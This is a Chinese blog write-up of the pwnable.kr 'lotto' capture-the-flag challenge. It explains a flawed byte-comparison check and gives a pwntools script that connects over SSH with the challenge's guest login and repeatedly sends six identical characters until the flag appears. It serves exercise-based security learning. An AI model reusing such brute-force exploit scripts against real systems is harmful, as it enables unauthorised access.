zoukankan      html  css  js  c++  java
  • pwnable.kr-lotto-witeup

    执行分析题目代码,发现是输入值和十进制是1到45的ASCII码系统生成对应字母做比较;而比较方法是遍历输入值的所有位和系统生成字符串的每个位作比较,相同计数为6则爆出flag。漏洞啊,只要押中有一字母在系统生成字符串中,输入值全部是那个字母即可。

    那我们按要求输入的字符转换成十进制只能是33-45了,因为1-32是不可见字符,无法输入。通过多次尝试,即可产生结果。可以写个脚本等哦。

    from pwn import *
    
    s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
    pro=s.process('/home/lotto/lotto')
    print pro.recv()
    #pro.sendline('1')
    #print pro.recv()
    str="++++++"
    #str+=chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(1)
    #print str
    #pro.sendline(str)
    #recvstr=pro.recv()
    #print len(recvstr),recvstr 
    
    while 1:
        pro.sendline('1')
        print pro.recv()
        pro.sendline(str)
        a=pro.recv()
        if len(a)!=71: #经验证,错误时返回信息长度是71
            print a
            break

    愉快地结束。

  • 相关阅读:
    POJ1275 Cashier Employment 【二分 + 差分约束】
    POJ1201 Intervals 【差分约束】
    BZOJ1563/洛谷P1912 诗人小G 【四边形不等式优化dp】
    BZOJ4197 [Noi2015]寿司晚宴 【状压dp】
    thusc2018酱油记
    HDU 4734
    Codeforces 55D
    HDU 3652
    HDU 4352
    HDU 3709
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/10889512.html
Copyright © 2011-2022 走看看